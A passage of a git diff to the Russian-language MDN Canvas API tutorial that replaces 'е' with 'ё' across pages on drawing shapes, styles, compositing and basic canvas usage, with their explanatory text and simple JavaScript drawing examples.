+365,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>Вот небольшая демонстрация, в которой вы можете динамически установить <code>miterLimit</code> и посмотреть, как это влияет на фигуры на холсте. Синие линии показывают, где начальная и конечная точки для каждой из линий в шаблоне зигзага.</p> -<p>Если вы укажете в этой демонстрации значение <code>miterLimit</code> ниже 4.2, ни один из видимых углов не присоединится к расширению митры, но только с небольшим скосом рядом с синими линиями; с отметкой <code>miterLimit</code> выше 10, большинство углов в этой демонстрации должны соединяться с митрой, удаленной от синих линий, высота которой уменьшается между углами слева направо, потому что они соединяются с растущими углами; с промежуточными значениями углы с левой стороны будут соединяться только с скосом рядом с синими линиями, а углы с правой стороны с удлинителем митры (также с уменьшающейся высотой).</p> +<p>Если вы укажете в этой демонстрации значение <code>miterLimit</code> ниже 4.2, ни один из видимых углов не присоединится к расширению митры, но только с небольшим скосом рядом с синими линиями; с отметкой <code>miterLimit</code> выше 10, большинство углов в этой демонстрации должны соединяться с митрой, удалённой от синих линий, высота которой уменьшается между углами слева направо, потому что они соединяются с растущими углами; с промежуточными значениями углы с левой стороны будут соединяться только с скосом рядом с синими линиями, а углы с правой стороны с удлинителем митры (также с уменьшающейся высотой).</p> <pre class="brush: js;highlight[18] notranslate">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); @@ -425,7 +425,7 @@ draw();</pre> <p>Метод setLineDash и свойство lineDashOffset задают шаблон штрихов для линий. Метод setLineDash принимает список чисел, который определяет расстояния для попеременного рисования линии и разрыва, а свойство lineDashOffset устанавливает смещение, с которого начинается шаблон.</p> -<p>В этом примере мы создаем эффект походных муравьев. Это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу. В следующей части этого руководства вы узнаете, как сделать эту и другие основные анимации.</p> +<p>В этом примере мы создаём эффект походных муравьёв. Это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу. В следующей части этого руководства вы узнаете, как сделать эту и другие основные анимации.</p> <div class="hidden"> <pre class="brush: html notranslate"><canvas id="canvas" width="110" height="110"></canvas></pre> @@ -584,7 +584,7 @@ lineargradient.addColorStop(1, 'black'); <dl> <dt>{{domxref("CanvasRenderingContext2D.createPattern", "createPattern(image, type)")}}</dt> - <dd>Создает и возвращает новый canvas объект - шаблон (pattern). <code>image</code> - {{domxref("CanvasImageSource")}} (то есть {{domxref ("HTMLImageElement")}}, другой холст, элемент {{HTMLElement ("video")}} или подобный объект. <code>type</code> - строка, указывающая, как использовать <code>image</code>.</dd> + <dd>Создаёт и возвращает новый canvas объект - шаблон (pattern). <code>image</code> - {{domxref("CanvasImageSource")}} (то есть {{domxref ("HTMLImageElement")}}, другой холст, элемент {{HTMLElement ("video")}} или подобный объект. <code>type</code> - строка, указывающая, как использовать <code>image</code>.</dd> </dl> <p>Тип указывает, как использовать image для создания шаблона и должен быть одним из следующих значений:</p> diff --git a/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html b/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html index 78937ccfac..e4756dc73d 100644 --- a/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html +++ b/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Basic_usage --- <div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}</div> -<p class="summary">Давайте начнем этот урок с изучения элемента {{HTMLElement("canvas")}} как такового. В конце этой страницы Вы узнаете как устанавливать canvas 2D context и нарисуете первый пример в вашем браузере.</p> +<p class="summary">Давайте начнём этот урок с изучения элемента {{HTMLElement("canvas")}} как такового. В конце этой страницы Вы узнаете как устанавливать canvas 2D context и нарисуете первый пример в вашем браузере.</p> <h2 id="Элемент_<canvas>">Элемент <code><canvas></code></h2> @@ -17,10 +17,10 @@ translation_of: Web/API/Canvas_API/Tutorial/Basic_usage <p>Он выглядит как элемент <code><img></code>, но его отличие в том, что он не имеет атрибутов <code>src</code> и <code>alt</code>. Элемент <code><canvas></code> имеет только два атрибута - <strong>ширину</strong> и <strong>высоту</strong>. Оба они не обязательны и могут быть выставлены с использованием свойств <a href="/en-US/docs/DOM" rel="internal" title="en/DOM">DOM</a>. Если атрибуты высоты и ширины не установлены, canvas будет по умолчанию шириной <strong>300 пикселей</strong> и в высоту <strong>150 пикселей</strong>. Вы так же можете выставить размеры произвольно в <a href="/en-US/docs/Web/CSS" rel="internal" title="en/CSS">CSS</a>, но во время рендеринга изображение будет масштабироваться в соответствии с его размером и ориентацией.</p> <div class="note"> -<p><strong>Примечание:</strong> Если вид вашего изображения кажется вам искаженным, попробуйте указать атрибуты ширины и высоты в явном виде в атрибутах <canvas> , а не с помощью CSS.</p> +<p><strong>Примечание:</strong> Если вид вашего изображения кажется вам искажённым, попробуйте указать атрибуты ширины и высоты в явном виде в атрибутах <canvas> , а не с помощью CSS.</p> </div> -<p>Атрибут id не специфичен для элемента <code><canvas>,</code> но он может быть применен по умолчанию в атрибутах HTML, так как он может быть использован (почти) для любого элемента HTML (так же как класс). Это всегда отличная идея использовать <code>id</code>, так как это позволяет намного проще идентифицировать наш элемент в сценарии.</p> +<p>Атрибут id не специфичен для элемента <code><canvas>,</code> но он может быть применён по умолчанию в атрибутах HTML, так как он может быть использован (почти) для любого элемента HTML (так же как класс). Это всегда отличная идея использовать <code>id</code>, так как это позволяет намного проще идентифицировать наш элемент в сценарии.</p> <p>Элемент <code><canvas></code> может быть стилизован также, как любое изображение (margin, border, background, и т. д.). Эти правила, как бы то ни было, фактически не влияют на отрисовку в canvas. Мы увидим как это сделано позже в этом руководстве. Когда стили не указаны, canvas будет по умолчанию абсолютно прозрачным.</p> @@ -52,9 +52,9 @@ translation_of: Web/API/Canvas_API/Tutorial/Basic_usage <h2 id="Рендеринг_содержимого_контекста">Рендеринг содержимого (контекста)</h2> -<p>Элемент {{HTMLElement("canvas")}} в документе создается с фиксированным размером элемента для рисования, который может иметь один или несколько контекстов для рендеринга, создавая и манипулируя содержимым для показа. В данном руководстве мы сфокусируемся на 2D рендеринге. Другие контексты могут предоставлять разные типы рендеринга, к примеру WebGl использует 3D контекст основанный на <a href="http://www.khronos.org/opengles/">OpenGL ES</a>.</p> +<p>Элемент {{HTMLElement("canvas")}} в документе создаётся с фиксированным размером элемента для рисования, который может иметь один или несколько контекстов для рендеринга, создавая и манипулируя содержимым для показа. В данном руководстве мы сфокусируемся на 2D рендеринге. Другие контексты могут предоставлять разные типы рендеринга, к примеру WebGl использует 3D контекст основанный на <a href="http://www.khronos.org/opengles/">OpenGL ES</a>.</p> -<p>Холст изначально пустой и прозрачный. Первым делом скрипт получает доступ к контексту и отрисовывает его. Элемент {{HTMLElement("canvas")}} имеет <a href="/en-US/docs/Web/API/HTMLCanvasElement#Method">метод</a> <code>getContext()</code>, используется для получения контекста визуализации и ее функции рисования. <code>getContext()</code> принимает один параметр, тип контекста. Для 2D графики, которая охвачена этим руководством будем использовать метку "2d".</p> +<p>Холст изначально пустой и прозрачный. Первым делом скрипт получает доступ к контексту и отрисовывает его. Элемент {{HTMLElement("canvas")}} имеет <a href="/en-US/docs/Web/API/HTMLCanvasElement#Method">метод</a> <code>getContext()</code>, используется для получения контекста визуализации и её функции рисования. <code>getContext()</code> принимает один параметр, тип контекста. Для 2D графики, которая охвачена этим руководством будем использовать метку "2d".</p> <pre class="brush: js notranslate">var canvas = document.getElementById('tutorial'); var ctx = canvas.getContext('2d'); @@ -109,7 +109,7 @@ if (canvas.getContext){ </html> </pre> -<p>Скрипт вызывает функцию draw(), которая выполнится, когда страница закончит загрузку. Это делается путем события {{event("load")}} в документе. Эта функция может быть вызвана как единожды, так и с помощью данных методов {{domxref("window.setTimeout()")}}, {{domxref("window.setInterval()")}}, или любым другим обработчиком события, когда страница будет загружена.</p> +<p>Скрипт вызывает функцию draw(), которая выполнится, когда страница закончит загрузку. Это делается путём события {{event("load")}} в документе. Эта функция может быть вызвана как единожды, так и с помощью данных методов {{domxref("window.setTimeout()")}}, {{domxref("window.setInterval()")}}, или любым другим обработчиком события, когда страница будет загружена.</p> <p>Вот как шаблон будет выглядеть в действии.</p> diff --git a/files/ru/web/api/canvas_api/tutorial/compositing/index.html b/files/ru/web/api/canvas_api/tutorial/compositing/index.html index bac6986141..4e4df0bef6 100644 --- a/files/ru/web/api/canvas_api/tutorial/compositing/index.html +++ b/files/ru/web/api/canvas_api/tutorial/compositing/index.html @@ -14,11 +14,11 @@ original_slug: Web/API/Canvas_API/Tutorial/Композиции <h2 id="globalCompositeOperation" name="globalCompositeOperation"><code>globalCompositeOperation</code></h2> -<p>Мы можем не только рисовать новые фигуры за существующие формы, но мы также можем использовать его, чтобы замаскировать определенные участки, очистить разделы от холста (не ограничивается прямоугольниками, как{{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}} method does) и другое.</p> +<p>Мы можем не только рисовать новые фигуры за существующие формы, но мы также можем использовать его, чтобы замаскировать определённые участки, очистить разделы от холста (не ограничивается прямоугольниками, как{{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}} method does) и другое.</p> <dl> <dt>{{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation = type")}}</dt> - <dd>Это задает Тип операции композиции для применения при разработке новых форм, где Тип является строкой, идентифицирующей, какие из двенадцати операций композитинг в использовании.</dd> + <dd>Это задаёт Тип операции композиции для применения при разработке новых форм, где Тип является строкой, идентифицирующей, какие из двенадцати операций композитинг в использовании.</dd> </dl> <p>См. <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing/Example">примеры компоновки</a> кода из следующих примеров.</p> @@ -27,9 +27,9 @@ original_slug: Web/API/Canvas_API/Tutorial/Композиции <h2 id="Clipping_paths" name="Clipping_paths">Обрезка контуров</h2> -<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/209/Canvas_clipping_path.png" style="float: right;">Отсеченный контур похож на обычную форму холста, но он действует как маска, чтобы скрыть нежелательные части фигур. Это визуализируется на изображении справа. Форма красной звезды - наша отправочная дорожка. Все, что выходит за пределы этого пути, не будет нарисовано на холсте.</p> +<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/209/Canvas_clipping_path.png" style="float: right;">Отсечённый контур похож на обычную форму холста, но он действует как маска, чтобы скрыть нежелательные части фигур. Это визуализируется на изображении справа. Форма красной звезды - наша отправочная дорожка. Все, что выходит за пределы этого пути, не будет нарисовано на холсте.</p> -<p>Если мы сравниваем отсеченный контур со свойством <code>globalCompositeOperation</code> на изображении, мы видим два режима композитинга, которые достигают более или менее того же эффекта в исходном и исходном состоянии. Наиболее важные различия между ними заключаются в том, что отсечение контура фактически никогда не обращается к холсту и контур обрезки никогда не влияет добавление новых форм. Это делает обрезку контура идеальным для рисования нескольких фигур в ограниченной области.</p> +<p>Если мы сравниваем отсечённый контур со свойством <code>globalCompositeOperation</code> на изображении, мы видим два режима композитинга, которые достигают более или менее того же эффекта в исходном и исходном состоянии. Наиболее важные различия между ними заключаются в том, что отсечение контура фактически никогда не обращается к холсту и контур обрезки никогда не влияет добавление новых форм. Это делает обрезку контура идеальным для рисования нескольких фигур в ограниченной области.</p> <p>В главе о <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes" title="Web/Guide/HTML/Canvas_tutorial/Drawing_shapes#Drawing_paths">рисовании форм</a>, я назвал только <code>stroke()</code> и <code>fill()</code> методы, но есть третий способ можно использовать с контурами, так называемый <code>clip()</code>.</p> @@ -44,7 +44,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Композиции <h3 id="A_clip_example" name="A_clip_example">Пример обрезки</h3> -<p>В этом примере мы будем использовать круговую обрезку контура, чтобы ограничить рисование набора случайных звезд определенной областью.</p> +<p>В этом примере мы будем использовать круговую обрезку контура, чтобы ограничить рисование набора случайных звёзд определённой областью.</p> <pre class="brush: js;highlight[9]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); @@ -100,9 +100,9 @@ function drawStar(ctx, r) { <pre class="brush: js">draw();</pre> </div> -<p>В первых нескольких строках кода мы рисуем черный прямоугольник размером с холстом в качестве фона, а затем переводим начало координат в центр. Затем мы создаем круговой обтравочный контур, рисуя дугу и вызывающий <code>clip()</code>. Обрезанные контуры также являются частью состояния сохранения холста. Если бы мы хотели сохранить исходный обтравочный контур, мы могли бы сохранить состояние холста перед созданием нового.</p> +<p>В первых нескольких строках кода мы рисуем чёрный прямоугольник размером с холстом в качестве фона, а затем переводим начало координат в центр. Затем мы создаём круговой обтравочный контур, рисуя дугу и вызывающий <code>clip()</code>. Обрезанные контуры также являются частью состояния сохранения холста. Если бы мы хотели сохранить исходный обтравочный контур, мы могли бы сохранить состояние холста перед созданием нового.</p> -<p>Все, что нарисовано после создания отсеченного контура, появится только внутри этого пути. Вы можете видеть это четко в линейном градиенте, который нарисован далее. После этого набирается набор из 50 случайно расположенных и масштабированных звезд, используя <code>drawStar()</code>. Снова звезды появляются только в пределах определенного обтравочного контура.</p> +<p>Все, что нарисовано после создания отсечённого контура, появится только внутри этого пути. Вы можете видеть это чётко в линейном градиенте, который нарисован далее. После этого набирается набор из 50 случайно расположенных и масштабированных звёзд, используя <code>drawStar()</code>. Снова звезды появляются только в пределах определённого обтравочного контура.</p> <p>{{EmbedLiveSample("A_clip_example", "180", "180", "https://mdn.mozillademos.org/files/208/Canvas_clip.png")}}</p> diff --git a/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html b/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html index 30225ac786..83ef78542a 100644 --- a/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html +++ b/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html @@ -12,11 +12,11 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <h2 id="Сетка">Сетка</h2> -<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="float: right; height: 220px; width: 220px;">Перед тем, как мы начнем рисовать, нам нужно поговорить о сетке canvas или <strong>координатной плоскости</strong>. Наш HTML каркас из предыдущей страницы включал в себя элемент canvas 150 пикселей в ширину и 150 пикселей в высоту. Справа можно увидеть этот canvas <span class="short_text" id="result_box" lang="ru"><span class="hps">с сеткой</span><span>, накладываемой по умолчанию</span></span>. <span id="result_box" lang="ru"><span class="hps">Обычно 1 единица</span> <span class="hps">на сетке соответствует</span> <span class="hps">1 пикселю на</span></span> canvas. <span id="result_box" lang="ru"><span>Начало координат этой сетки</span> <span class="hps">расположено</span> <em><span class="hps">в верхнем левом</span> <span class="hps">углу</span></em> <span class="hps">в</span> <span class="atn hps">координате <code><em>(</em></code></span><span><code><em>0,0 )</em></code>.</span></span> <span id="result_box" lang="ru"><span class="hps">Все</span> <span class="hps">элементы размещены</span> <span class="hps">относительно</span> <span class="hps">этого</span> <span class="hps">начала</span><span>. </span><span class="hps">Так</span>им образом, <span class="hps">положение верхнего</span> <span class="hps">левого угла</span> <span class="hps">синего квадрата составляет</span> <code><em><span class="hps">х</span></em></code> <span class="hps">пикселей слева</span><span class="hps"> и</span> <code><em><span class="hps">у</span></em></code> <span class="hps">пикселей</span> <span class="hps">сверху,</span> <span class="hps">на</span> <span class="hps">координате <code><em>(х</em></code></span><span><code><em>, у)</em></code>.</span></span> <span id="result_box" lang="ru"><span class="hps">Позже в</span> <span class="hps">этом уроке мы</span> <span class="hps">увидим, как</span> <span class="hps">можно</span> <span class="hps">перевести</span> <span class="hps">начало координат</span> <span class="hps">в другое место</span><span>,</span> <span class="hps">вращать сетку</span> <span class="hps">и даже</span> <span class="hps">масштабировать ее</span><span>, но сейчас</span> <span class="hps">мы будем придерживаться</span> <span class="hps">настроек сетки по умолчанию.</span></span></p> +<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="float: right; height: 220px; width: 220px;">Перед тем, как мы начнём рисовать, нам нужно поговорить о сетке canvas или <strong>координатной плоскости</strong>. Наш HTML каркас из предыдущей страницы включал в себя элемент canvas 150 пикселей в ширину и 150 пикселей в высоту. Справа можно увидеть этот canvas <span class="short_text" id="result_box" lang="ru"><span class="hps">с сеткой</span><span>, накладываемой по умолчанию</span></span>. <span id="result_box" lang="ru"><span class="hps">Обычно 1 единица</span> <span class="hps">на сетке соответствует</span> <span class="hps">1 пикселю на</span></span> canvas. <span id="result_box" lang="ru"><span>Начало координат этой сетки</span> <span class="hps">расположено</span> <em><span class="hps">в верхнем левом</span> <span class="hps">углу</span></em> <span class="hps">в</span> <span class="atn hps">координате <code><em>(</em></code></span><span><code><em>0,0 )</em></code>.</span></span> <span id="result_box" lang="ru"><span class="hps">Все</span> <span class="hps">элементы размещены</span> <span class="hps">относительно</span> <span class="hps">этого</span> <span class="hps">начала</span><span>. </span><span class="hps">Так</span>им образом, <span class="hps">положение верхнего</span> <span class="hps">левого угла</span> <span class="hps">синего квадрата составляет</span> <code><em><span class="hps">х</span></em></code> <span class="hps">пикселей слева</span><span class="hps"> и</span> <code><em><span class="hps">у</span></em></code> <span class="hps">пикселей</span> <span class="hps">сверху,</span> <span class="hps">на</span> <span class="hps">координате <code><em>(х</em></code></span><span><code><em>, у)</em></code>.</span></span> <span id="result_box" lang="ru"><span class="hps">Позже в</span> <span class="hps">этом уроке мы</span> <span class="hps">увидим, как</span> <span class="hps">можно</span> <span class="hps">перевести</span> <span class="hps">начало координат</span> <span class="hps">в другое место</span><span>,</span> <span class="hps">вращать сетку</span> <span class="hps">и даже</span> <span class="hps">масштабировать её</span><span>, но сейчас</span> <span class="hps">мы будем придерживаться</span> <span class="hps">настроек сетки по умолчанию.</span></span></p> <h2 id="Рисование_прямоугольников">Рисование прямоугольников</h2> -<p>В отличие от {{Glossary("SVG")}}, {{HTMLElement("canvas")}} поддерживает только одну примитивную фигуру: прямоугольник. Все другие фигуры должны быть созданы комбинацией одного или большего количества контуров (paths), набором точек, соединенных в линии. К счастью в ассортименте рисования контуров у нас есть функции, которые делают возможным составление очень сложных фигур.</p> +<p>В отличие от {{Glossary("SVG")}}, {{HTMLElement("canvas")}} поддерживает только одну примитивную фигуру: прямоугольник. Все другие фигуры должны быть созданы комбинацией одного или большего количества контуров (paths), набором точек, соединённых в линии. К счастью в ассортименте рисования контуров у нас есть функции, которые делают возможным составление очень сложных фигур.</p> <p>Сначала рассмотрим прямоугольник. Ниже представлены три функции рисования прямоугольников в canvas:</p> @@ -29,7 +29,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <dd>Очистка прямоугольной области, делая содержимое совершенно прозрачным.</dd> </dl> -<p>Каждая из приведенных функций принимает несколько параметров: </p> +<p>Каждая из приведённых функций принимает несколько параметров: </p> <ul> <li><em>x</em>, <font face="Consolas, Liberation Mono, Courier, monospace"><em>y</em></font> устанавливают положение верхнего левого угла прямоугольника в canvas (относительно начала координат);</li> @@ -60,11 +60,11 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур } }</pre> -<p>Этот пример изображен ниже.</p> +<p>Этот пример изображён ниже.</p> <p>{{EmbedLiveSample("Пример_создания_прямоугольных_фигур", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}</p> -<p>Функция fillRect() рисует большой чёрный квадрат со стороной 100 px. Функция clearRect() вырезает квадрат 60х60 из центра, а функция strokeRect() создает прямоугольный контур 50х50 пикселей внутри очищенного квадрата.</p> +<p>Функция fillRect() рисует большой чёрный квадрат со стороной 100 px. Функция clearRect() вырезает квадрат 60х60 из центра, а функция strokeRect() создаёт прямоугольный контур 50х50 пикселей внутри очищенного квадрата.</p> <p>На следующей странице мы рассмотрим две альтернативы методу clearRect(), и также увидим, как можно изменять цвет и стиль контура отображаемых фигур.</p> @@ -77,7 +77,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <p>Создание фигур используя контуры происходит в несколько важных шагов:</p> <ol> - <li>Сначала вы создаете контур.</li> + <li>Сначала вы создаёте контур.</li> <li>Затем, используя <a href="/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">команды рисования</a>, рисуете контур.</li> <li>Потом закрываете контур.</li> <li>Созданный контур вы можете обвести или залить для его отображения.</li> @@ -87,7 +87,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <dl> <dt>{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}</dt> - <dd>Создает новый контур. После создания используется в дальнейшем командами рисования при построении контуров.</dd> + <dd>Создаёт новый контур. После создания используется в дальнейшем командами рисования при построении контуров.</dd> <dt><a href="/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">Path методы</a></dt> <dd>Методы для установки различных контуров объекта.</dd> <dt>{{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}</dt> @@ -195,12 +195,12 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <dl> <dt>{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}</dt> - <dd>Рисует линию с текущей позиции до позиции, определенной <code>x и y</code>.</dd> + <dd>Рисует линию с текущей позиции до позиции, определённой <code>x и y</code>.</dd> </dl> <p><span id="result_box" lang="ru"><span class="hps">Этот метод принимает</span> <span class="hps">два аргумента</span> </span><code><em>x</em><span lang="ru"><span class="hps"> и </span></span><em>y</em></code><span lang="ru"><span>, которые являются</span> <span class="hps">координатами конечной</span> <span class="hps">точки линии</span><span>.</span></span> <span id="result_box" lang="ru"><span>Начальная точка зависит</span> <span class="hps">от</span> <span class="hps">ранее</span> <span class="hps">нарисованных путей, причём</span> <span class="hps">конечная точка</span> <span class="hps">предыдущего пути является</span> начальной <span class="hps">точкой следующего</span> <span class="hps">и т. д.</span> <span class="hps">Начальная точка также</span> <span class="hps">может быть изменена</span> <span class="hps">с помощью метода</span></span> <code>moveTo()</code>.</p> -<p>Пример ниже рисует два треугольника, один закрашенный и другой обведен контуром.</p> +<p>Пример ниже рисует два треугольника, один закрашенный и другой обведён контуром.</p> <div class="hidden"> <pre class="brush: html notranslate"><html> @@ -238,7 +238,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <p>{{EmbedLiveSample("Линии", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}</p> -<p><span id="result_box" lang="ru"><span class="hps">Вы заметите</span> <span class="hps">разницу между</span> <span class="hps">закрашенным</span> <span class="hps">и обведенным контуром</span> <span class="hps">треугольниками.</span> <span class="hps">Это, </span><span class="hps">как упоминалось выше</span><span>,</span> <span class="hps">из-за</span> того, что <span class="hps">фигуры</span> <span class="hps">автоматически закрываются</span><span>, когда</span> <span class="hps">путь</span> <span class="hps">заполнен (т. е. закрашен)</span><span>, но</span> <span class="hps">не тогда, когда</span> <span class="hps">он очерчен (т. е. обведен контуром)</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Если бы мы</span> <span class="hps">не учли</span> </span><code>closePath()</code><span lang="ru"> <span class="hps">для</span> очерченного <span class="hps">треугольника</span><span>,</span> тогда <span class="hps">только две линии</span> <span class="hps">были бы</span> <span class="hps">нарисованы,</span> <span class="hps">а не</span> <span class="hps">весь треугольник</span><span>.</span></span></p> +<p><span id="result_box" lang="ru"><span class="hps">Вы заметите</span> <span class="hps">разницу между</span> <span class="hps">закрашенным</span> <span class="hps">и обведённым контуром</span> <span class="hps">треугольниками.</span> <span class="hps">Это, </span><span class="hps">как упоминалось выше</span><span>,</span> <span class="hps">из-за</span> того, что <span class="hps">фигуры</span> <span class="hps">автоматически закрываются</span><span>, когда</span> <span class="hps">путь</span> <span class="hps">заполнен (т. е. закрашен)</span><span>, но</span> <span class="hps">не тогда, когда</span> <span class="hps">он очерчен (т. е. обведён контуром)</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Если бы мы</span> <span class="hps">не учли</span> </span><code>closePath()</code><span lang="ru"> <span class="hps">для</span> очерченного <span class="hps">треугольника</span><span>,</span> тогда <span class="hps">только две линии</span> <span class="hps">были бы</span> <span class="hps">нарисованы,</span> <span class="hps">а не</span> <span class="hps">весь треугольник</span><span>.</span></span></p> <h3 id="Дуги">Дуги</h3> @@ -251,7 +251,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <dd>Рисуем дугу с заданными контрольными точками и радиусом, соединяя эти точки прямой линией.</dd> </dl> -<p>Рассмотрим детальнее метод <em>arc()</em>, который имеет пять параметров: <em><code>x</code></em> и <em><code>y</code></em> — это координаты центра окружности, в которой должна быть нарисована дуга. <em><code>radius</code></em> — не требует пояснений. Углы <code>startAngle</code> и <code>endAngle</code> определяют начальную и конечную точки дуги в радианах вдоль кривой окружности. Отсчет происходит от оси x. Параметр <code>anticlockwise</code> — логическое значение, которое, если <code>true</code>, то рисование дуги совершается против хода часовой стрелки; иначе рисование происходит по ходу часовой стрелки.</p> +<p>Рассмотрим детальнее метод <em>arc()</em>, который имеет пять параметров: <em><code>x</code></em> и <em><code>y</code></em> — это координаты центра окружности, в которой должна быть нарисована дуга. <em><code>radius</code></em> — не требует пояснений. Углы <code>startAngle</code> и <code>endAngle</code> определяют начальную и конечную точки дуги в радианах вдоль кривой окружности. Отсчёт происходит от оси x. Параметр <code>anticlockwise</code> — логическое значение, которое, если <code>true</code>, то рисование дуги совершается против хода часовой стрелки; иначе рисование происходит по ходу часовой стрелки.</p> <div class="note"> <p><strong>Note</strong>: Углы в функции arc() измеряют в радианах, не в градусах. Для перевода градусов в радианы вы можете использовать JavaScript-выражение: <code>radians = (Math.PI/180)*degrees</code>.</p> @@ -263,7 +263,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <p>Координаты <code>x</code> и <code>y</code> должны быть достаточно ясны. <code>radius</code> and <code>startAngle</code> — фиксированы. <code>endAngle</code> начинается со 180 градусов (полуокружность) в первой колонке и, увеличиваясь с шагом 90 градусов, достигает кульминации полноценной окружностью в последнем столбце.</p> -<p>Установка параметра <code>clockwise</code> определяет результат; в первой и третьей строках рисование дуг происходит по часовой стрелке, а во второй и четвертой - против часовой стрелки. Благодаря if-условию верхняя половина дуг образуется с контуром, (обводкой), а нижняя половина дуг - с заливкой.</p> +<p>Установка параметра <code>clockwise</code> определяет результат; в первой и третьей строках рисование дуг происходит по часовой стрелке, а во второй и четвёртой - против часовой стрелки. Благодаря if-условию верхняя половина дуг образуется с контуром, (обводкой), а нижняя половина дуг - с заливкой.</p> <div class="note"> <p><strong>Note:</strong> Этот пример требует немного большего холста (canvas), чем другие на этой странице: 150 x 200 pixels.</p> @@ -319,13 +319,13 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <dd>Рисуется кубическая кривая Безье с текущей позиции пера в конечную точку с координатами <code>x</code> и <code>y</code>, используя две контрольные точки с координатами (<code>cp1x</code>, <code>cp1y</code>) и (cp2x, cp2y).</dd> </dl> -<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/223/Canvas_curves.png" style="float: right; height: 190px; width: 190px;">Различие между ними можно увидеть на рисунке, изображенном справа. Квадратичная кривая Безье имеет стартовую и конечную точки (синие точки) и всего одну контрольную точку (красная точка), в то время как кубическая кривая Безье использует две контрольные точки.</p> +<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/223/Canvas_curves.png" style="float: right; height: 190px; width: 190px;">Различие между ними можно увидеть на рисунке, изображённом справа. Квадратичная кривая Безье имеет стартовую и конечную точки (синие точки) и всего одну контрольную точку (красная точка), в то время как кубическая кривая Безье использует две контрольные точки.</p> <p>Параметры <code>x</code> и <code>y</code> в этих двух методах являются координатами конечной точки. <code>cp1x</code> и <code>cp1y</code> — координаты первой контрольной точки, а <code>cp2x</code> и <code>cp2y</code> — координаты второй контрольной точки.</p> <p>Использование квадратичных или кубических кривых Безье может быть спорным выходом, так как в отличие от приложений векторной графики типа Adobe Illustrator, мы не имеем полной видимой обратной связи с тем, что мы делаем. Этот факт делает довольно сложным процесс рисования сложных фигур. В следующем примере мы нарисуем совсем простую составную фигуру, но, если у вас есть время и ещё больше терпения, можно создать более сложные составные фигуры.</p> -<p>В этом примере нет ничего слишком тяжелого. В обоих случаях мы видим последовательность кривых, рисуя которые, в результате получим составную фигуру.</p> +<p>В этом примере нет ничего слишком тяжёлого. В обоих случаях мы видим последовательность кривых, рисуя которые, в результате получим составную фигуру.</p> <h4 id="Квадратичные_кривые_Безье">Квадратичные кривые Безье</h4> @@ -513,7 +513,7 @@ function roundedRect(ctx,x,y,width,height,radius){ <p>Мы не будем подробно останавливаться на том, так как это на самом деле удивительно просто. Наиболее важные вещи, которые следует отметить, это использование свойства <code>fillStyle</code> в контексте рисования и использование функции утилиты (в данном случае <code>roundedRect()</code>). Использование функций утилиты для битов чертежа часто может быть очень полезным и сократить количество необходимого кода, а также его сложность.</p> -<p>Позже, в этом уроке, мы еще раз рассмотрим <code>fillStyle</code>, но более подробно. Здесь же мы используем его для изменения цвета заливки путей вместо цвета по умолчанию от черного до белого, а затем обратно.</p> +<p>Позже, в этом уроке, мы ещё раз рассмотрим <code>fillStyle</code>, но более подробно. Здесь же мы используем его для изменения цвета заливки путей вместо цвета по умолчанию от чёрного до белого, а затем обратно.</p> <h2 id="Path2D_объекты">Path2D объекты</h2> @@ -522,7 +522,7 @@ function roundedRect(ctx,x,y,width,height,radius){ <dl> <dt>{{domxref("Path2D.Path2D", "Path2D()")}}</dt> - <dd>Конструктор <code><strong>Path2D()</strong></code> возвращает вновь созданный объект <code>Path2D</code> необязательно с другим путем в качестве аргумента (создает копию) или необязательно со строкой, состоящей из данных пути <a href="/en-US/docs/Web/SVG/Tutorial/Paths">SVG path</a> .</dd> + <dd>Конструктор 